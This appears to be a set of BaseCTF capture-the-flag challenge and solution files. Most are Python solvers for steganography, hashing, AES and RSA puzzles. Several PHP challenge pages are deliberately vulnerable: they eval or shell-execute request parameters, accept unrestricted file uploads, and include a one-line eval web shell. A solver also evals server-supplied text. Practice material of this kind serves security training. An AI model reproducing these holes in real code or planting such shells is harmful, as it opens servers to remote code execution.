1
from PIL import Image
2
import sys
3

4

5
def toasc(strr):
6
    return int(strr, 2)
7

8

9
# str1为所要提取的信息的长度（根据需要修改），str2为加密载体图片的路径，str3为提取文件的保存路径
10
def decode(str1, str2, str3):
11
    b = ""
12
    im = Image.open(str2)
13
    lenth = int(str1) * 8
14
    width, height = im.size[0], im.size[1]
15
    count = 0
16
    for h in range(height):
17
        for w in range(width):
18
            # 获得(w,h)点像素的值
19
            pixel = im.getpixel((w, h))
20
            # 此处余3，依次从R、G、B三个颜色通道获得最低位的隐藏信息
21
            if count % 3 == 0:
22
                count += 1
23
                b = b + str((mod(int(pixel[0]), 2)))
24
                if count == lenth:
25
                    break
26
            if count % 3 == 1:
27
                count += 1
28
                b = b + str((mod(int(pixel[1]), 2)))
29
                if count == lenth:
30
                    break
31
            if count % 3 == 2:
32
                count += 1
33
                b = b + str((mod(int(pixel[2]), 2)))
34
                if count == lenth:
35
                    break
36
        if count == lenth:
37
            break
38

39
    with open(str3, "w", encoding="utf-8") as f:
40
        for i in range(0, len(b), 8):
41
            # 以每8位为一组二进制，转换为十进制
42
            stra = toasc(b[i : i + 8])
43
            # 将转换后的十进制数视为ascii码，再转换为字符串写入到文件中
44
            # print((stra))
45
            f.write(chr(stra))
46
    print("sussess")
47

48

49
def plus(string):
50
    # Python zfill() 方法返回指定长度的字符串，原字符串右对齐，前面填充0。
51
    return string.zfill(8)
52

53

54
def get_key(strr):
55
    # 获取要隐藏的文件内容
56
    with open(strr, "rb") as f:
57
        s = f.read()
58
        string = ""
59
        for i in range(len(s)):
60
            # 逐个字节将要隐藏的文件内容转换为二进制，并拼接起来
61
            # 1.先用ord()函数将s的内容逐个转换为ascii码
62
            # 2.使用bin()函数将十进制的ascii码转换为二进制
63
            # 3.由于bin()函数转换二进制后，二进制字符串的前面会有"0b"来表示这个字符串是二进制形式，所以用replace()替换为空
64
            # 4.又由于ascii码转换二进制后是七位，而正常情况下每个字符由8位二进制组成，所以使用自定义函数plus将其填充为8位
65
            string = string + "" + plus(bin(s[i]).replace("0b", ""))
66
    # print(string)
67
    return string
68

69

70
def mod(x, y):
71
    return x % y
72

73

74
# str1为载体图片路径，str2为隐写文件，str3为加密图片保存的路径
75
def encode(str1, str2, str3):
76
    im = Image.open(str1)
77
    # 获取图片的宽和高
78
    width, height = im.size[0], im.size[1]
79
    print("width:" + str(width))
80
    print("height:" + str(height))
81
    count = 0
82
    # 获取需要隐藏的信息
83
    key = get_key(str2)
84
    keylen = len(key)
85
    for h in range(height):
86
        for w in range(width):
87
            pixel = im.getpixel((w, h))
88
            a = pixel[0]
89
            b = pixel[1]
90
            c = pixel[2]
91
            if count == keylen:
92
                break
93
            # 下面的操作是将信息隐藏进去
94
            # 分别将每个像素点的RGB值余2，这样可以去掉最低位的值
95
            # 再从需要隐藏的信息中取出一位，转换为整型
96
            # 两值相加，就把信息隐藏起来了
97
            a = a - mod(a, 2) + int(key[count])
98
            count += 1
99
            if count == keylen:
100
                im.putpixel((w, h), (a, b, c))
101
                break
102
            b = b - mod(b, 2) + int(key[count])
103
            count += 1
104
            if count == keylen:
105
                im.putpixel((w, h), (a, b, c))
106
                break
107
            c = c - mod(c, 2) + int(key[count])
108
            count += 1
109
            if count == keylen:
110
                im.putpixel((w, h), (a, b, c))
111
                break
112
            if count % 3 == 0:
113
                im.putpixel((w, h), (a, b, c))
114
    im.save(str3)
115

116

117
if __name__ == "__main__":
118
    if "-h" in sys.argv or "--help" in sys.argv or len(sys.argv) < 2:
119
        print("Usage: python test.py <cmd> [arg...] [opts...]")
120
        print("  cmds:")
121
        print("    encode image + flag -> image(encoded)")
122
        print("    decode length + image(encoded) -> flag")
123
        sys.exit(1)
124
    cmd = sys.argv[1]
125
    if cmd != "encode" and cmd != "decode":
126
        print("wrong input")
127
        sys.exit(1)
128
    str1 = sys.argv[2]
129
    str2 = sys.argv[3]
130
    str3 = sys.argv[4]
131
    if cmd != "encode" and cmd != "decode":
132
        print("Wrong cmd %s" % cmd)
133
        sys.exit(1)
134
    elif cmd == "encode":
135
        encode(str1, str2, str3)
136
    elif cmd == "decode":
137
        decode(str1, str2, str3)

1
original_string = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB"
2
print(original_string[::-1])

1
import base64
2
import hashlib
3

4
def abort(id):
5
    print('You failed test %d. Try again!' % id)
6
    exit(1)
7

8
print('Hello, Python!')
9
flag = input('Enter your flag: ')
10

11
if len(flag) != 38:
12
    abort(1)
13

14
if not flag.startswith('BaseCTF{'):
15
    abort(2)
16

17
if flag.find('Mp') != 10:
18
    abort(3)
19

20
if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':
21
    abort(4)
22

23
if ord(flag[-1]) != 125:
24
    abort(5)
25

26
if flag.count('_') // 2 != 2:
27
    abort(6)
28

29
if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:
30
    abort(7)
31

32
if flag[12:32:4] != 'lsT_n':
33
    abort(8)
34

35
if '😺'.join([c.upper() for c in flag[:9]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S':
36
    abort(9)
37

38
if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024:
39
    abort(10)
40

41
if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':
42
    abort(11)
43

44
if flag[::-7].encode().hex() != '7d4372733173':
45
    abort(12)
46

47
if set(flag[12::11]) != {'l', 'r'}:
48
    abort(13)
49

50
if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):
51
    abort(14)
52

53
if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610:
54
    abort(15)
55

56
if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):
57
    abort(16)
58

59
if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':
60
    abort(17)
61

62
if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':
63
    abort(18)
64

65
print('🎉 You are right!')
66
import this

1
import hashlib
2

3
flag='BaseCTF{}'
4

5
output=[]
6
for i in flag:
7
    my_md5=hashlib.md5()
8
    my_md5.update(i.encode())
9
    output.append(my_md5.hexdigest())
10
print("output =",output)
11
'''
12
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
13
'''

1
import hashlib
2
import string
3

4

5
def generate_md5_dict():
6
    # 定义所有字符集，包括字母、数字和常见符号
7
    chars = (
8
        string.ascii_uppercase
9
        + string.ascii_lowercase
10
        + string.digits
11
        + "!\"#$%&'()*+,-./:;<=>?@[\\]_^`{|}~"  # 常见符号
12
    )
13

14
    # 初始化一个空字典来存储结果
15
    md5_dict = {}
16

17
    # 遍历所有字符
18
    for char in chars:
19
        # 计算MD5哈希值
20
        md5_hash = hashlib.md5(char.encode()).hexdigest()
21
        # 将MD5哈希值和字符存入字典
22
        md5_dict[md5_hash] = char
23

24
    return md5_dict
25

26

27
# 生成字典
28
md5_dictionary = generate_md5_dict()
29

30
# 打印字典
31
for md5_value, character in md5_dictionary.items():
32
    print(f"MD5: {md5_value} -> Character: {character}")
33

34
output = [
35
    "9d5ed678fe57bcca610140957afab571",
36
    "0cc175b9c0f1b6a831c399e269772661",
37
    "03c7c0ace395d80182db07ae2c30f034",
38
    "e1671797c52e15f763380b45e841ec32",
39
    "0d61f8370cad1d412f80b84d143e1257",
40
    "b9ece18c950afbfa6b0fdbfa4ff731d3",
41
    "800618943025315f869e4e1f09471012",
42
    "f95b70fdc3088560732a5ac135644506",
43
    "0cc175b9c0f1b6a831c399e269772661",
44
    "a87ff679a2f3e71d9181a67b7542122c",
45
    "92eb5ffee6ae2fec3ad71c777531578f",
46
    "8fa14cdd754f91cc6554c9e71929cce7",
47
    "a87ff679a2f3e71d9181a67b7542122c",
48
    "eccbc87e4b5ce2fe28308fd9f2a7baf3",
49
    "0cc175b9c0f1b6a831c399e269772661",
50
    "e4da3b7fbbce2345d7772b0674a318d5",
51
    "336d5ebc5436534e61d16e63ddfca327",
52
    "eccbc87e4b5ce2fe28308fd9f2a7baf3",
53
    "8fa14cdd754f91cc6554c9e71929cce7",
54
    "8fa14cdd754f91cc6554c9e71929cce7",
55
    "45c48cce2e2d7fbdea1afc51c7c6ad26",
56
    "336d5ebc5436534e61d16e63ddfca327",
57
    "a87ff679a2f3e71d9181a67b7542122c",
58
    "8f14e45fceea167a5a36dedd4bea2543",
59
    "1679091c5a880faf6fb5e6087eb1b2dc",
60
    "a87ff679a2f3e71d9181a67b7542122c",
61
    "336d5ebc5436534e61d16e63ddfca327",
62
    "92eb5ffee6ae2fec3ad71c777531578f",
63
    "8277e0910d750195b448797616e091ad",
64
    "0cc175b9c0f1b6a831c399e269772661",
65
    "c81e728d9d4c2f636f067f89cc14862c",
66
    "336d5ebc5436534e61d16e63ddfca327",
67
    "0cc175b9c0f1b6a831c399e269772661",
68
    "8fa14cdd754f91cc6554c9e71929cce7",
69
    "c9f0f895fb98ab9159f51fd0297e236d",
70
    "e1671797c52e15f763380b45e841ec32",
71
    "e1671797c52e15f763380b45e841ec32",
72
    "a87ff679a2f3e71d9181a67b7542122c",
73
    "8277e0910d750195b448797616e091ad",
74
    "92eb5ffee6ae2fec3ad71c777531578f",
75
    "45c48cce2e2d7fbdea1afc51c7c6ad26",
76
    "0cc175b9c0f1b6a831c399e269772661",
77
    "c9f0f895fb98ab9159f51fd0297e236d",
78
    "0cc175b9c0f1b6a831c399e269772661",
79
    "cbb184dd8e05c9709e5dcaedaa0495cf",
80
]
81

82
result = ""
83

84
for item in output:
85
    try:
86
        result += md5_dictionary[item]
87
    except KeyError:
88
        print(item)
89
        print(result)
90

91
print(result)

1
<?php
2
highlight_file(__FILE__);
3
error_reporting(0);
4

5
$a = $_GET['DT'];
6

7
eval($a);
8

9
?>

1
<?php
2
highlight_file(__FILE__);
3
error_reporting(0);
4
require 'flag.php';
5

6
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
7
    $name = $_GET['name'];
8
    $name2 = $_GET['name2'];
9
    $password = $_POST['password'];
10
    $password2 = $_POST['password2'];
11
    if ($name != $password && md5($name) == md5($password)){
12
        if ($name2 !== $password2 && md5($name2) === md5($password2)){
13
            echo $flag;
14
        }
15
        else{
16
            echo "再看看啊，马上绕过嘞！";
17
        }
18
    }
19
    else {
20
        echo "错啦错啦";
21
    }
22

23
}
24
else {
25
    echo '没看到参数呐';
26
}
27
?>

1
<?php
2
eval($_POST["pass"]);

1
<?php
2
error_reporting(0);
3
if (isset($_FILES['file'])) {
4
    highlight_file(__FILE__);
5
    $file = $_FILES['file'];
6
    $filename = $file['name'];
7
    $filetype = $file['type'];
8
    $filesize = $file['size'];
9
    $filetmp = $file['tmp_name'];
10
    $fileerror = $file['error'];
11

12
    if ($fileerror === 0) {
13
        $destination = 'uploads/' . $filename;
14
        move_uploaded_file($filetmp, $destination);
15
        echo 'File uploaded successfully';
16
    } else {
17
        echo 'Error uploading file';
18
    }
19
}
20
?>
21
<!DOCTYPE html>
22
<html lang="en">
23

24
<head>
25
    <meta charset="UTF-8">
26
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
27
    <title>上传你喜欢的图片吧！</title>
28
</head>
29

30
<body>
31
    <form action="" method="post" enctype="multipart/form-data">
32
        <input type="file" name="file">
33
        <button type="submit">上传！</button>
34
    </form>
35
    <?php
36
    $files = scandir('uploads');
37
    foreach ($files as $file) {
38
        if ($file === '.' || $file === '..') {
39
            continue;
40
        }
41
        echo "<img src='uploads/$file' style=\"max-height: 200px;\" />";
42
    }
43
    ?>
44
</body>
45

46
</html>

1
<?php
2
highlight_file(__FILE__);
3
shell_exec($_POST['cmd']);

1
import httpx
2

3
client = httpx.Client()
4
url = "http://challenge.basectf.fun:30394/"
5

6
response = client.get(url)
7
print(response.text)
8
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")
9

10
while True:
11
    response = client.post(
12
        url,
13
        data={
14
            "answer": eval(formula)
15
        }
16
    )
17
    formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")
18
    if "{" in response.text and "}" in response.text:
19
        print(response.text)
20
        break
21
    else:
22
        print(response.text)

1
<?php
2
highlight_file(__FILE__);
3
$cmd = $_POST['cmd'];
4
// check if space is present in the command
5
// use of preg_match to check if space is present in the command
6
if (preg_match('/\s/', $cmd)) {
7
    echo 'Space not allowed in command';
8
    exit;
9
}
10

11
// execute the command
12
system($cmd);

1
from Crypto.Util.number import long_to_bytes
2
from Crypto.Cipher import AES
3
from Crypto.Util.Padding import unpad
4

5
# 已知的 key 和 ciphertext
6
key1 = 208797759953288399620324890930572736628
7
ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
8

9
# 将 key1 转换为字节
10
key = long_to_bytes(key1)
11

12
# 创建 AES 解密器
13
my_aes = AES.new(key=key, mode=AES.MODE_ECB)
14

15
# 解密并取消填充
16
plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size)
17

18
# 输出解密后的明文
19
print(plaintext.decode())

1
from Crypto.Util.number import *
2
import gmpy2
3
m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')
4
e=65537
5
p=getPrime(512)
6
q=getPrime(512)
7
n=p*q
8
not_phi=(p+2)*(q+2)
9
c=pow(m,e,n)
10

11
print(n)
12
print(not_phi)
13
print(c)
14

15

16
'''
17
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
18
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
19
37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
20
'''

1
from Crypto.Util.number import long_to_bytes
2
from sympy import mod_inverse
3

4
e = 65537
5
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
6
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
7
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
8

9
# 计算 φ(n)
10
phi_n = (3 * n - not_phi + 6) // 2
11
print("φ(n):", phi_n)
12

13
# 计算私钥 d
14
d = mod_inverse(e, phi_n)
15

16
if d:
17
    # 解密消息
18
    m = pow(c, d, n)
19

20
    # 将解密后的长整型数转换为字节
21
    flag_bytes = long_to_bytes(m)
22
    print("解密后的消息:", flag_bytes.decode())
23
else:
24
    print("无法计算私钥 d。")

1
import sqlite3
2
import hashlib
3

4
# Create sqlite3 connection
5
conn = sqlite3.connect("data.db")
6

7

8
def getChallengeExpireTimeFromName(challenge: str) -> int:
9
    # Function for getting expire time of the challenge
10
    cursor = conn.cursor()
11
    command = "SELECT endat FROM challenges WHERE name=?"
12
    cursor.execute(command, (challenge,))
13
    time = int(cursor.fetchone()[0].replace(".0", ""))
14
    return time
15

16

17
def getTeamSubmissionsFromTeamName(team_name: str) -> list:
18
    # Function for getting submission of the team
19
    cursor = conn.cursor()
20
    command = "SELECT time, challenge FROM submissions WHERE team=?"
21
    cursor.execute(command, (team_name,))
22
    submission_list = cursor.fetchall()
23
    return submission_list
24

25

26
def getChallengeIdFromName(challenge_name: str) -> str:
27
    # Function for getting challengeId from name
28
    cursor = conn.cursor()
29
    command = "SELECT id FROM challenges WHERE name=?"
30
    cursor.execute(command, (challenge_name,))
31
    challenge_id = cursor.fetchone()[0]
32
    return challenge_id
33

34

35
if __name__ == "__main__":
36
    # All the expire time are the same, so use one as all
37
    expire_time = getChallengeExpireTimeFromName("[Week3] ez_log")
38
    submission_list = getTeamSubmissionsFromTeamName("Damien Schroeder")
39
    # Get all expired challenges
40
    expired_challenge_list = []
41
    submission_list.sort(key=lambda x: x[0])  # Sort by submit time
42
    for submission in submission_list:
43
        if submission[0] > expire_time:
44
            print(submission[0], expire_time, submission[1])
45
            expired_challenge_list.append(submission[1])
46
    # Get all ids of expired challenges
47
    expired_challenge_id_list = []
48
    for challenge in expired_challenge_list:
49
        expired_challenge_id_list.append(getChallengeIdFromName(challenge))
50
    # Connect all the challenge ids with comma
51
    expired_challenge_id_string = ""
52
    for challenge_id in expired_challenge_id_list:
53
        if expired_challenge_id_string == "":
54
            expired_challenge_id_string += challenge_id
55
        else:
56
            expired_challenge_id_string += "," + challenge_id
57
    # Calculate MD5
58
    result = hashlib.md5(expired_challenge_id_string.encode()).hexdigest()
59
    print(f"BaseCTF\{{result}\}")